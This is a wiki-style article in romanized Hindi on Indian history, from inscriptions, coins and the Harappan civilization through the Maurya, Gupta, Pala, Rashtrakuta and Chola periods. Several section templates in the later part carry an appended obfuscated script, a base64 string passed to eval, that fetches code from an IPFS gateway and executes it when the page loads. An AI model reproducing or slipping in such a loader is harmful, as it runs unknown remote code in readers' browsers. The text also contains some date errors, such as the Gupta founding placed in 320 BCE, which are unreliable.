kaha gaya hai. ashok ke abhilekh mukhyatah brahyi, kharoshthi tatha aramaik lipiyoan mean milatean haian jisamean adhikaansh brahyi mean khude hue haian. is lipi ko baanyi se dayian or likha jata hai. pashchimottar prant mean prayukt hone vali ‘kharoshthi lipi‘ dayian se bayian or likhi jati thi. pakistan aur afaganistan, mean paye gaye ashok ke abhilekhoan mean prayukt lipi aramaik v yoonani thi.

ashok ke bad abhilekhoan ki parampara se ju de any abhilekh is prakar haian- kharavel ka kharavel ka hathigumpha, shak kshatrap pratham rudradaman ka joonagadh abhilekh, satavahan naresh pulumavi ka nasik guhalekh, harishen dvara likhit samudragupt ka prayag stambh lekh, malav naresh yashovarman ka mandasaur abhilekh, chaluky naresh pulakeshin dvitiy ka aihol abhilekh, pratihar naresh bhoj ka gvaliyar abhilekh, skandagupt ka bhitari tatha joonagadh lekh, bangal ke shasak vijay sen ka devapa da abhilekh ityadi. kuchh gair sarakari abhilekh haian jaise yavan rajadoot heliyadoras ka besanagar, vidisha se prapt garu d stambh lekh. isase dvitiy shatabdi ee.poo. mean bharat mean bhagavat dharm ke vikasit hone ke sakshy milate haian. madhy pradesh ke eran se prapt varah pratima par hoon raja toraman ke lekhoan ka vivaran hai.

mudrayean

[[chitr:Vim-Kadphises-Coin.JPG|thumb|vim kadafaisis ka sikka]] bharatiy itihas adhyayan mean mudraoan ki ativ mahatta hai. bharat ki prachinatam mudraean chhathi shati ee.poo. mean prachalit huee. in par lekh nahian hote the. kuchh pratik jaise parvat, vriksh, pakshi, manav, pushp, jayamitiy akriti adi aankit rahate the. inhean ahat mudra (panch markd kvayans) kaha jata tha. sarvapratham bharat mean shasan karane vale yoonani shasakoan ki mudraoan par lekh evan tithiyaan utkirn milati haian. sarvadhik mudraean uttar maury kal mean milati haian jo pradhanatah sise, potin, tabean, kaanse, chaandi aur sone ki hoti haian. kushanoan ke samay mean sarvadhik shuddh suvarn mudraean prachalan mean the, par sarvadhik suvarn mudraean gupt kal mean jari ki gayi. samudragupt ki kuchh mudraoan par 'yoop' par 'ashvamedh yajn' aur kuchh par vina bajate hue dikhaya gaya hai. kanishk ki mudraoan se yah pata chalata hai ki vah bauddh dharm ka anuyayi tha. satavahan naresh shatakarni ki ek mudra par jalapot ka chitr utkirn hai jisase anuman lagaya jata hai ki usane samudr vijay ki thi. chandragupt dvitiy ki vyaghrashaili ki mudraoan se usaki pashchimi bharat ke shakoan ki vijay soochit hoti hai.

smarak evan bhavan

itihas nirman mean bharatiy sthapatyakaroan, vastukaroan aur chitrakaroan ne apane hathiyar, chheni, kanni, aur toolika ke dvara vishesh yogadan diya. inake dvara nirmit prachin imaratean, mandir moortiyoan ke avasheshoan se bharat ki prachin samajik, arthik evan dharmik paristhitiyoan ka jnan hota hai. khudaee mean mile mahattvapoorn avasheshoan mean hadappa sabhyata, pataliputr ki khudaee mean chandragupt maury ke samay lak di ke bane rajaprasad ke dhvansavashesh, kaushambi ki khudaee se maharaj udayan ke rajaprasad evan ghoshitaram bihar ke avashesh aantarajikhe da mean khudaee se lohe ke prayog ke sakshy, paandicheri ke arikamedu mean khudaee se roman mudraoan, bartan adi ke avasheshoan se tatkalin itihas evan sanskriti ki janakari prapt hoti hai. us samay mandir nirman ki prachalit nagar shailiyoan mean ‘ nagar shaili‘ uttar bharat mean prachalit thi jabaki dravi d shaili dakshin bharat mean prachalit thi. dakshinapath mean nirmit ve mandir jisamean nagar evan dravi d donoan shailiyoan ka samavesh hai use ‘vesar shaili‘ kaha gaya hai. 8vian shatabdi mean java mean nirmit borabudur mandir se bauddh dharm ki pahachan shakha ke prachalit hone ka praman milata hai.

moortiyaan

[[chitr:Kambojika-Mathura Museum-6.jpg|thumb|kambojika]] prachin kal mean moortiyoan ka nirman kushan kal se arambh hota hai. kushanean, gupt shasakoan evan uttar guptakal mean nirmit moortiyoan ke vikas mean janasamany ki dharmik bhavanaoan ka vishesh yogadan raha hai. kushanakalin moortiyoan evan guptakalin moortiyoan mean vyapt moolabhoot aantar is prakar hai-

kushanakalin moortiyaan videshi prabhav se otaprot haian vahian par guptakalin moortiyaan svabhavikata se ot-prot haian.
bharahut, bodhagaya, saanchi aur amaravati mean mili moortiyaan, moortikala mean janasamany ke jivan ki ati sajiv jhaanki prastut karati hai.

REDIRECTsaancha:inhean bhi dekhean

chitrakala

chitrakala se hamean us samay ke jivan ke vishay mean janakari milati hai. ajanta ke chitroan mean manaviy bhavanaoan ki sundar abhivyakti milati hai. chitroan mean ‘mata aur shishu‘ ya ‘maranashil rajakumari‘ jaise chitroan se guptakal ki kalatmak parakashtha ka poorn praman milata hai.

pashan kal

[[chitr:Stone-Tools-mohenjo-daro.jpg|thumb|astr, mohanajoda do 3000 ee.poo.]]

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samast itihas ko tin kaloan mean vibhajit kiya ja ekata hai-

prakhitihas ya pragaitihasik kal(Prehistoric Age),
ady aitihasik kal(Proto-historic Age)
aitihasik kal(Historic Age)

bharat ki adim (praranbhik) jatiyaan

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prarambhik kal mean bharat mean kitane prakar ki jatiyaan nivas karati thian, unamean apasi sambangh kis star ke the, adi prashn atyant hi vivadit haian. phir bhi navinatam sarvadhik manyataoan mean 'd aau. bi.es. guha' ka mat hai. bharatavarsh ki prarambhik jatiyoan ko chhah bhagoan mean vibhakt kiya ja sakata hai. - 1. nigritoan 2. proto-aaustreliyaeed 3. mangolayad 4. bhoomadhy sagariy 5. pashchimi breki sephal 6. n aaurdik

siandhu ghati sabhyata

[[chitr:Mohenjodaro-Sindh.jpg|thumb|sindh mean mohanajoda do mean h dappa sanskriti ke avashesh|250px]]

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aj se lagabhag 70 varsh poorv pakistan ke 'pashchimi panjab praant' ke 'mantagomari zile' mean sthit 'hariyana' ke nivasiyoan ko shayad is bat ka kianchitmatr bhi abhas nahian tha ki ve apane as-pas ki zamin mean dabi jin eetoan ka prayog itane dh dalle se apane makanoan ka nirman mean kar rahe haian, vah koee sadharan eetean nahian, balki lagabhag 5,000 varsh purani aur poori tarah vikasit sabhyata ke avashesh haian. isaka abhas unhean tab hua jab 1856 ee. mean 'j aaun viliyam brantam' ne karachi se lahaur tak relave lain bichhavane hetu eetoan ki apoorti ke in khandaharoan ki khudaee prarambh karavayi. khudaee ke dauran hi is sabhyata ke pratham avashesh prapt hue, jise is sabhyata ka nam ‘h dappa sabhyata‘ ka nam diya gaya.

vishesh imaratean

siandhu ghati pradesh mean huee khudaee kuchh mahattvapoorn dhvansavasheshoan ke praman mile haian. h dappa ki khudaee mean mile avasheshoan mean mahattvapoorn the - durg, raksha-prachir, nivasagrih, chabootare, annagar adi .

durg

nagar ki pashchimi tile par sambhavatah suraksha hetu ek 'durg' ka nirman hua tha jisaki uttar se dakshin ki or lambaee 460 gaj evan poorv se pashchim ki or lambaee 215 gaj thi. hvilar dvara is tile ko 'maunt e-bi' nam pradan kiya gaya hai. durg ke charoan or qarib 45 phit chau di ek suraksha prachir ka nirman kiya gaya tha jisamean jagah-jagah par phatakoan ev rakshak grihoan ka nirman kiya gaya tha. durg ka mukhy pravesh marg uttar evan dakshin disha mean tha.

durg ke bahar uttar ki or 6 mitar ooanche 'eph' namak tile par paki eetoan se nirmit atharah vrittakar chabootare mile haian jisamean pratyek chabootare ka vyas qarib 3.2 mitar hai chabootare ke madhy mean ek b da chhed haian, jisamean lak di ki okhali lagi thi, in chhedoan se jau, jale geanhoo evan bhoosi ke avashesh milatean haian. is kshetr mean shramik avas ke roop mean pandrah makanoan ki do panktiyaan mili haian jinamean sat makan uttari pankti ath makan dakshini pankti mean milean hai, pratyek makan mean ek aangan evan qarib do kamare avashesh prapt hue haian. ye makan akar mean 17x7.5 mitar ke the. chabootaroan ke uttar ki or nirmit annagaroan ko do panktiyaan mili haian, jinamean pratyek pankti mean 6-6 kamare nirmit haian, donoan panktiyoan ke madhy qarib 7 mitar chau da ek rasta bana tha. pratyek annagar qarib 15.24 mitar lamba evan 6.10 mitar chau da haian. thumb|250px|h dappa muhar

h dappa lipi

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h dappa lipi ka sarvadhik purana namoona 1853 ee. mean mila tha par spashtatah yah lipi 1923 tak prakash mean aee. siandhu lipi mean lagabhag 64 mool chinh evan 205 se 400 tak akshar haian jo selakh di ki ayatakar muharoan, taanbe ki gutikaoan adi par milate haian. yah lipi chitratmak thi. yah lipi abhi tak gadhi nahian ja saki hai. is lipi mean prapt sabase b de lekh mean qarib 17 chinh haian. kalibanga ke utkhanan se prapt mitti ke thikaroan par utkirn chinh apane parshvavarti dahine chinh ko katate haian. isi adhar par 'brajavasi lal' ne yah nishkarsh nikala hai - 'saiandhav lipi dahini or se bayian or ko likhi jati thi.'

mrinmoortiyaan

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h dappa sabhyata se prapt mrinmoortiyoan ka nirman mitti se kiya gaya hai. in mrinmoortiyoan par manav ke atirikt pashu pakshiyoan mean bail, bhaiansa, bakara, bagh, suar, gaianda, bhaloo, bandar, mor, tota, battakh evan kabootar ki mrinamoortiyaan mili hai. manav mrinmoortiyaan thos hai par pashuoan ki khokhali. nar evan nari mrinmoortiyaan mean sarvadhik nari mrinmoortiyaan thos haian, par pashuoan ki khokhali. nar evan nari- mrinmoortiyaan mean sarvadhik nari mrinmoortiyaan mili haian.

h dappa sabhyata ke nagaroan ki visheshataean

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h dappa sanskriti ki sarvadhik mahattvapoorn visheshata thi- isaki nagar yojana. is sabhyata ke mahattvapoorn sthaloan ke nagar nirman mean samaroopata thi. nagaroan ke bhavano ke bare mean vishisht bat yah thi ki ye jal ki tarah vinyast the.

hadappa janajivan

[[chitr:King-priest-mohenjo-daro.jpg|thumb|pradhan anushthanakarta mohanajoda do 2000 ee.poo.]]

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hadapppa sanskriti ki vyapakata evan vikas ko dekhane se aisa lagata hai ki yah sabhyata kisi kendriy shakti se sanchalit hoti thi. vaise yah prashn abhi vivad ka vishay bana hua hai, phir bhi chooanki hadappavasi vanijy ki or adhik akarshit the, isalie aisa mana jata hai ki sambhavatah h dappa sabhyata ka shasan vanik varg ke hath mean tha.

hnilar ne siandhu pradesh ke logoan ke shasan ko 'madhyam vargiy janatanntratmak shasan' kaha aur usamean dharm ki mahatta ko svikar kiya.
stuart pigg aaut mahoday ne kaha 'mohanajoda doan ka shasan rajatantratmak n hokar janatantratmak' tha.
maike ke anusar ‘mohanajod doan ka shasan ek pratinidhi shasak ke hathoan tha.

saiandhav-sabhyata ka vinash

saidhav-sabhyata ke patan ke sandarbh mean hnilar ka mat poori tarah se amany ho chuka hai. hariyoopiya ka ullekh jo rrigved mean prapt hai us hnilar ne h dappa man liya aur kile ko pur aur arya ke devata iandr ko purandar (kile ko nasht karane vala) manakar yah siddhaant pratipadit kar diya ki saiandhav nagaroan ka patan aryo ke akraman ke karanh hua tha. dhyatavy hai ki hnilar ka yah siddhant tabhi khandit ho jata hai jab siandhu-sabhyata ko nagariy sabhyata ghoshit kiya jata hai. mohanajoda do se prapt nar kankal kisi ek ki samay ke nahian hai jinamean vyapak narasanhar dyotit ho raha hai.

saidhav-sabhyata ke patan ke vishay mean itihasakaroan ke mat
mat	itihasakar
1- prashasanik shithilata ke karan is sabhyata ka vinash hua.	j aaun marshal
2- jalavayu mean hue parivartan ke karan yah sabhyata nasht huee.	aaurel stain
3- siandhu sabhyata badh ke karan nasht huee.	arnest maike evan j aaun marshal
4- bhoo tatvik parivartan ke karan sabhyata nasht huee.	em.ar.sahani, ar.el.raiks, j aaurj eph.dels, ech.ti.laimbrik
5- mohanajoda do ke logoan ki ag lagakar hatya kar di gayi.	di.di. kosambi
6- saiandhav sabhyata videshi akraman v aryoan ke akraman se nasht huee.	gardan chaild, martimar hvilar, di.ech.gardan, stuard piggt

pragaitihasik kal

[[chitr:Dancing-girl-mohenjo-daro.jpg|thumb|nrityaangana mohanajoda do 2500 ee.poo.]] bharat ka itihas pragaitihasik kal se arambh hota hai. 3000 ee. poorv tatha 1500 ee. poorv ke bich siandhu ghati mean ek unnat sabhyata vartaman thi, jisake avashesh mohan jod do (muan-jo-da do) aur h dappa mean mile haian. vishvas kiya jata hai ki bharat mean aryoan ka pravesh bad mean hua. aryoan ne paya ki is desh mean unase poorv ke jo log nivas kar rahe the, unaki sabhyata yadi unase shreshth nahian to kisi riti se nikrisht bhi nahian thi. aryoan se poorv ke logoan mean sabase b da varg dravi doan ka tha. aryoan dvara ve kramik riti se uttar se dakshin ki or khade d diye ge. jahaan dirgh kal tak unaka pradhany raha. bad mean unhoanne aryoan ka prabhutv svikar kar liya. unase vivah sambandh sthapit kar liye aur ab ve mahan bharatiy rashtr ke aang haian. dravi doan ke alava desh mean aur mool jatiyaan thi, jinamean se kuchh ka pratinidhitv munda, kol, bhil adi janajatiyaan karati haian jo mon-khmer varg ki bhashaean bolati haian. bharatiy aryoan ka prachinatam sahity hamean vedoan mean vishesh roop se rrigved mean milata hai, jisaka rachanakal kuchh vidvan tin hazar ee. poo. manate haian. vedoan mean hamean us kal ki sabhyata ki ek jhaanki milati hai. aryoan ne is desh ko koee rajanitik ekata pradan nahian ki. yadyapi unhoanne use ek pusht darshan aur dharm pradan kiya, jo hindoo dharm ke nam se prakhyat hai aur kam se kam char hazar varsh se akshunn hai.

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mahajanapad yug

mahabharatakalin bharat ka manachitr

mukhy lekh : mahajanapad

prachin bharatiyoan ne koee tithi kramanusar itihas nahian surakshit rakha hai. sabase prachin sunishchit tithi jo hamean jnat hai, 326 ee. poo. hai, jab maqadooniya ke raja sikandar ne bharat par akraman kiya. is tithi se pahale ki ghatanaoan ka taratamy jo d kar tatha sahity mean surakshit aitihasik anushrutiyoan ka upayog karake bharat ka itihas satavian shatabdi ee. poo. tak pahuanch jata hai. is kal mean bharat qabul ki ghati se lekar godavari tak shodash janapadoan mean vibhajit tha.

in rajyoan mean apas mean barabar l daee hoti rahati thi. chhathian shatabdi ee. poo. ke madhy mean bimbisar tatha ajatashatru ke rajy kal mean magadh ne kashi tatha koshal par adhikar karane ke bad apani simaoan ka vistar arambh kiya. inhian donoan magadh rajaoan ke rajyakal mean vardhaman mahavir ne jain dharm tatha gautam buddh ne bauddh dharm ka upadesh diya. bad ke kal mean magadh rajy ka vistar jari raha aur chauthi shatabdi ee. poo. ke aant mean nand rajaoan ke shasanakal mean usaka vistar bangal se lekar panjab mean vyas nadi ke tat tak sare uttari bharat mean ho gaya.

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prachin bharat

maury aur shuang

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[[chitr:Chanakya.jpg|thumb|250px|chanaky]] yoonani itihasakaroan ke dvara varnit 'presiaee' desh ka raja itana shaktishali tha ki sikandar ki senaean vyas par karake presiaee desh mean nahian ghus sakian aur sikandar, jisane 326 ee. mean panjab par hamala kiya, pichhe lautane ke lie vivash ho gaya. vah siandhu ke marg se pichhe laut gaya. is ghatana ke bad hi magadh par chandragupt maury (lagabhag 322 ee. poo.-298 ee. poo.) ne panjab mean sikandar jin yoonani adhikariyoan ko chho d gaya tha, unhean nikal bahar kiya aur bad mean ek yuddh mean sikandar ke senapati selyukas ko hara diya. selyukas ne hindookush tak ka sara pradesh vapas lauta kar chandragupt maury se sandhi kar li. chandragupt ne sare uttari bharat par apana prabhutv sthapit kiya. usane sambhvatah dakshin bhi vijay kar liya. vah apane is vishal samrajy par apani rajadhani pataliputr se shasan karata tha. usaki rajadhani pataliputr vaibhav aur samriddhi mean soosa aur ekabatana nagariyoan ko bhi mat karati thi. usaka pautr ashok tha, jisane kaliang (u disa) ko jita. usaka samrajy himalay ke padamool se lekar dakshin mean pannar nadi tak tatha uttar pashchim mean hindookush se lekar uttar-poorv mean asam ki sima tak vistrit tha. usane apane vishal samrajy ke samay sadhanoan ko manushyoan tatha pashuoan ke kalyan karyoan tatha bauddh dharm ke prasar mean lagakar amit yash prapt kiya. usane bauddh dharm ke prachar ke lie bhikshuoan ko misr, maqadooniya tatha korinth (prachin yoonan ki vilas nagari) jaise door-daraj sthanoan mean bheja aur vahaan lokopakari kary karavaye. usake prayatnoan se bauddh dharm vishvadharm ban gaya. parantu usaki yuddh se virat rahane ki shantipoorn niti ne usake vansh ki shakti kshin kar di aur lagabhag adhi shatabdi ke bad pushyamitr ne usaka uchchhed kar diya. pushyamitr ne shuangavansh (lagabhag 185 ee. poo.- 73 ee. poo.) ki sthapana ki, jisaka uchchhed karav vansh (lagabhag 73 ee. poo.-28 ee. poo.) ne kar diya.

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shak, kushan aur satavahan

mukhy lekh : shak samrajy evan kushan samrajy

[[chitr:RabatakInscription.jpg|thumb|130px|rabatak lekh]] [[chitr:kanishk.jpg|thumb|100px|left|kanishk]] mauryavansh ke patan ke bad magadh ki shakti ghatane lagi aur satavahan rajaoan ke netritv mean magadh samrajy dakshin se alag ho gaya. satavahan vansh ko andhr vansh bhi kahate haian aur usane 50 ee. poo. se 225 ee. tak rajy kiya. bharat mean ek shaktishali kendriy sarakar ke abhav mean baiktriya aur parthiya ke rajaoan ne uttari bharat par akraman shuroo kar diye. in akramanakari rajaoan mean minandar sabase vikhyat hai. isake bad hi shak rajaoan ke akraman shuroo ho gaye aur maharashtr, saurashtr tatha mathura shak kshatrapoan ke shasan mean a gaye. is tarah bharat ki jo rajanitik ekata bhang ho gayi thi, vah eesvian pahali shatabdi mean kujul kadafaisis dvara kushan vansh ki shuruat se phir sthapit ho gayi. is vansh ne tisari shatabdi eesvian ke madhy tak uttari bharat par rajy kiya. [[chitr:Menander-Coin.jpg|thumb|150px|miliand (minaandar) ka sikka]] is vansh ka sabase prasiddh raja kanishk (lagabhag 120-144 ee.) tha, jisaki rajadhani purushapur athava peshavar thi. usane bauddh dharm grahan kar liya aur ashvaghosh, nagarjun tatha charak jaise bharatiy vidvanoan ko sanrakshan diya. kushanavansh ka ajnat karanoan se tisari shatabdi ke madhy tak patan ho gaya. isake bad bharatiy itihas ka aandhakar yug arambh hota hai. jo chauthi shatabdi ke arambh mean guptavansh ke uday se samapt hua.

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gupt

mukhy lekh : gupt samrajy

[[chitr:Poet-Kalidasa.jpg|thumb|120px|kalidas]] [[chitr:Udaygiri-Caves-Vidisha-1.jpg|thumb|left|varah avatar bhitti moohrtikala, gupt kal, udayagiri gufaean]] lagabhag 320 ee. poo. mean chandragupt ne guptavansh ko prachalit kiya aur pataliputr ko phir se apani rajadhani banaya. gupt vansh mean ek ke bad ek char mahan shaktishali raja hue, jinhoanne sare uttari bharat mean apana samrajy vistrit kar liya aur dakshin ke kee rajyoan par bhi apana prabhutv sthapit kiya. unhoanne hindoo dharm ko rajy dharm banaya, bauddh dharm aur jain dharm ke prati sahishnuta barati aur jnan-vijnan, sahity, kala, vastukala aur chitrakala ki unnati ki. isi yug mean kalidas, aryabhatt tatha varahamihir hue. ramayan, mahabharat, puranoan tatha manusanhita ko bhi isi yug mean vartaman roop prapt hua. chini yatri fahyan ne 401 se 410 ee. ke bich bharat ki yatra ki aur usane us kal ka rochak varnan kiya hai. usaka mat hai ki us kal mean desh mean poora ramarajy tha. svabhavik roop se gupt yug ko bharatiy itihas ka 'svarnayug' mana jata hai aur usaki tulana ethens ke pariklij yug se ki jati hai. (periklij (lagabhag 492-529 ee. poo.) ethens ka mahan rajaneta tatha senapati tha. usake shasanakal (460-429 ee. poo.) mean ethens unnati ke shikhar par pahuanch gaya). aantarik vighatan tatha hoonoan ke akramanoan ke phalasvaroop chhathi shatabdi mean gupt vansh ka patan ho gaya. parantu satavian shatabdi ke prarambh mean harshavardhan ne ek doosara samrajy kh da kar diya, jisaki rajadhani kannauj thi. yah samrajy sare uttari bharat mean vistrit tha. dakshin mean chaluky raja pulakeshi dvitiy ne usaka samrajy narmada tat se age badhane se rok diya tha. chini yatri huenasaang usake rajyakal mean bharat aya tha aur usane apani yatra varnan mean likha hai ki harshavardhan b da pratapi aur shaktishali raja hai. vah 646 ee. mean nissantan mar gaya aur usake bad sare uttari bharat mean phir se avyavastha phail gayi. [[chitr:Samraat Mihir Bhoj Mahaan.jpg|thumb|150px|samrat mihir bhoj ki pratima, aksharadham mandir, dilli]]

madhyakalin bharat 1

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tin samrajyoan ka yug (8vian - 10vian shatabdi)

sat sau pachas aur ek hazar eesvi ke bich uttar tatha dakshin bharat mean kee shaktishali samrajyoan ka uday hua. nauanvian shatabdi tak poorvi aur uttari bharat mean pal samrajy tatha dasavian shatabdi tak pashchimi tatha uttari bharat mean pratihar samrajy shaktishali bane rahe. rashtrakootoan ka prabhav dakkan mean to tha hi, kee bar unhoanne uttari aur dakshin bharat mean bhi apana prabhutv qayam kiya. yadyapi ye tinoan samrajy apas mean l date rahate the tathapi inhoanne ek b de bhoo-bhag mean sthirata qayam rakhi aur sahity tatha kalaoan ko protsahit kiya.

is yug ki ek aur mahattvapoorn bat rajy aur dharm ke bich sambandh hai. is yug ke kee shasak shaiv aur vaishnav aur kee bauddh aur jain dharm ko manane vale the. ve brahmanoan, bauddh biharoan aur jain mandiroan ko udaratapoorvak dan dete the, lekin ve kisi bhi vyakti ke prati usake dharmik vicharoan ke lie bhedabhav nahian rakhate the aur sabhi matavalanbiyoan ko sanrakshan pradan karate the. rashtrakoot nareshoan ne bhi musalamanoan tak ka svagat kiya aur unhean apane dharm prachar ki svikriti di. sadharanatah koee bhi raja dharmashastroan ke niyamoan tatha any paramparaoan mean hastakshep nahian karata tha aur in mamaloan mean vah purohit ki salah par chalata tha. lekin isase yah nahian samajha jana chahie ki purohit rajy ke karyoan mean hastakshep karata tha athava raja par usaka kisi prakar ka dabav tha. is yug ke dharmashastroan ke mahan vyakhyakar medhatithi ka kahana hai ki raja ke adhikar vyanjit karane vale srot ved sahit dharmashastroan ke alava 'arthashastr' bhi hai. usaka 'rajadharm' arthashastr mean nihit siddhaantoan ke anusar hona chahie. isaka vastavik arth yah tha ki raja ko rajaniti aur dharm ko bilkul alag-alag rakhana chahie aur dharm ko raja ka vyaktigat kartavy samajha jana chahie. is prakar us yug ke shasakoan par n to purohitoan aur n hi unake dvara pratipadit dharm-qanoon ka koee prabhav tha. is arth mean ham kah sakate haian ki us yug mean rajy moolatah dharm nirapeksh the.

in tinoan samrajyoan mean rashtrakoot samrajy sabase adhik dirghajivi raha. yah n keval apane samay ka sabase shaktishali samrajy tha, varan isane arthik tatha saanskritik mamaloan mean uttar aur dakshin bharat ke bich setu ka kary kiya.

pal samrajy

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

harsh ke samay ke bad se uttari bharat ke prabhutv ka pratik kannauj mana jata tha. bad mean yah sthan dilli ne prapt kar liya. pal samrajy ki nianv 750 ee. mean 'gopal' namak raja ne dali. bataya jata hai ki us kshetr mean phaili ashanti ko dabane ke lie kuchh pramukh logoan ne usako raja ke roop mean chuna. is prakar raja ka nirvachan ek abhootapoorv ghatana thi. isaka arth shayad yah hai ki gopal us kshetr ke sabhi mahattvapoorn logoan ka samarthan prapt karane mean saphal ho saka aur isase use apani sthiti mazaboot karan mean kafi sahayata mili. [[chitr:Ellora-Caves-Aurangabad-Maharashtra-4.jpg|thumb|elora ki gufaean, aurangabad]]

rashtrakoot samrajy

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jab uttari bharat mean pal aur pratihar vanshoan ka shasan tha, dakkan mean rashtookoot rajy karate the. is vansh ne bharat ko kee yoddha aur kushal prashasak die haian. is samrajy ki nianv 'dantidurg' ne dali. dantidurg ne 750 ee. mean chalukyoan ke shasan ko samapt kar aj ke sholapur ke nikat apani rajadhani 'manyakhet' athava 'manakhe d' ki nianv rakhi. shighr hi maharashtr ke uttar ke sabhi kshetroan par rashtrakootoan ka adhipaty ho gaya. gujarat aur malava ke prabhutv ke lie inhoanne pratiharoan se bhi loha liya. yadyapi in hamaloan ke karan rashtrakoot apane samrajy ka vistar ganga ghati tak nahian kar sake tathapi inamean unhean bahut b di matra mean dhan rashi mili aur unaki khyati badhi. vangi (vartaman aandhr pradesh) ke poorvi chalukyoan aur dakshin mean kaanchi ke pallavoan tatha maduree ke paandyoan ke sath bhi rashtrakootoan ka barabar sangharsh chalata raha.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gurjar pratihar rajavansh

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itihas ke anusar 5vi sadi mean bhinnamal gurjar samrajy ki rajadhani thi tatha isaki sthapana gurjaro ne ki thi. chini yatri hven tsaang apane lekho mean gurjar samrajy ka ullekh karata hai tatha ise kiu-che-lo bolata hai.^[3]6 se 12 vian sadi mean gurjar kee jagah satta mean the. gurjar pratihar vansh ki satta kannauj se lekar bihar, uttar pradesh, maharashtr aur gujarat tak phaili thi. mihirabhoj ko gurjar-pratihar vansh ka b da shasak mana jata hai. 12vian sadi ke bad pratihar vansh ka patan hona shuroo hua aur ye kee hissoan mean bant ge. arab akrantaoan ne gurjaro ki shakti tatha prasashan ki apane abhilekhoan mean bhoori-bhoori prashansa ki hai.^[4]itihasakar batate hai ki mugal kal se pahale tak rajasthan tatha gujarat, gurjaratra (gurjaro se rakshit desh) ya gurjar-bhoomi ke nam se jana jata tha.^[5]arab lekhakoan ke anusar gurjar unake sabase bhayankar shatru the.^[6]

rajapoot samrajy

[[chitr:Prithvi-Raj-Chauhan-Statue-Ajmer.jpg|thumb|prithviraj chauhan ki pratima, ajamer]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gurjar pratihar samrajy ke vighatan ke bad uttar bharat mean kee rajapoot rajyoan ki nianv p di.. inamean panjab ka hindooshahi rajavansh, ajamer ka chauhan vansh, kannauj ka gah daval vansh tatha magadh aur bangal ka pal vansh tha. dakshin mean bhi satavahan vansh ke patan ke bad isi prakar satta ka vighatan ho gaya. u disa ke gang vansh jisane puri ka prasiddh jagannath mandir banavaya, vatapi ke chaluky vansh, jisake rajyakal mean ajanta ke kuchh gufa chitr bane tatha kaanchi ke pallav vansh ne, jisaki smriti us kal mean banavaye gaye kuchh prasiddh mandiroan mean surakshit hai, dakshin ko apas mean baant liya aur paraspar yuddhoan mean ek doosare ka nash kar diya. isake bad manyakhet athava malakh d ke rashtrakoot vansh ka uday hua, jisaka uchchhed pur ke chaluky vansh ki ek navin shakha ne kar diya. jisane kalyani ko apani rajadhani banaya. usaka uchchhed devagiri ke yadavoan tatha dvarasamudr ke hoyasal vansh ne kar diya. sudoor dakshin mean cher, paandy aur chol rajyoan ka uday hua, jinamean se aantim rajy sabase adhik chala. is tarah sare bharat mean anaiky vyapt ho gaya.

REDIRECT saancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chol samrajy nauvian se barahavian shatabdi

[[chitr:Uttama coin.png|thumb|chol samrajy ka sikka jo shrilanka mean mila]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chol samrajy ka abhyuday nauvian shatabdi mean hua aur dakshin pray:dvip ka adhikaansh bhag isake adhikar mean tha. chol shasakoan ne shrilanka par bhi vijay prapt kar li thi aur maladiv dvipoan par bhi inaka adhikar tha. kuchh samay tak inaka prabhav kaliang aur tuangabhadr doab par bhi chhaya tha. inake pas shaktishali nausena thi aur ye dakshin poorvi eshiya mean apana prabhav qayam karane mean saphal ho sake. chol samrajy dakshin bharat ka niahsandeh sabase shaktishali samrajy tha. apani prarambhik kathinaiyoan par vijay prapt karane ke bad qarib do shatabdiyoan tak arthat barahavian eesvi ke madhy tak chol shasakoan ne n keval ek sthir prashasan diya, varan kala aur sahity ko bahut protsahan diya. kuchh itihasakaroan ka mat hai ki chol kal dakshin bharat ka 'svarn yug' tha.

bhavy mandiroan ka nirman

[[chitr:Khajuraho-Temples.jpg|thumb|khajuraho mandir, madhy pradesh]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

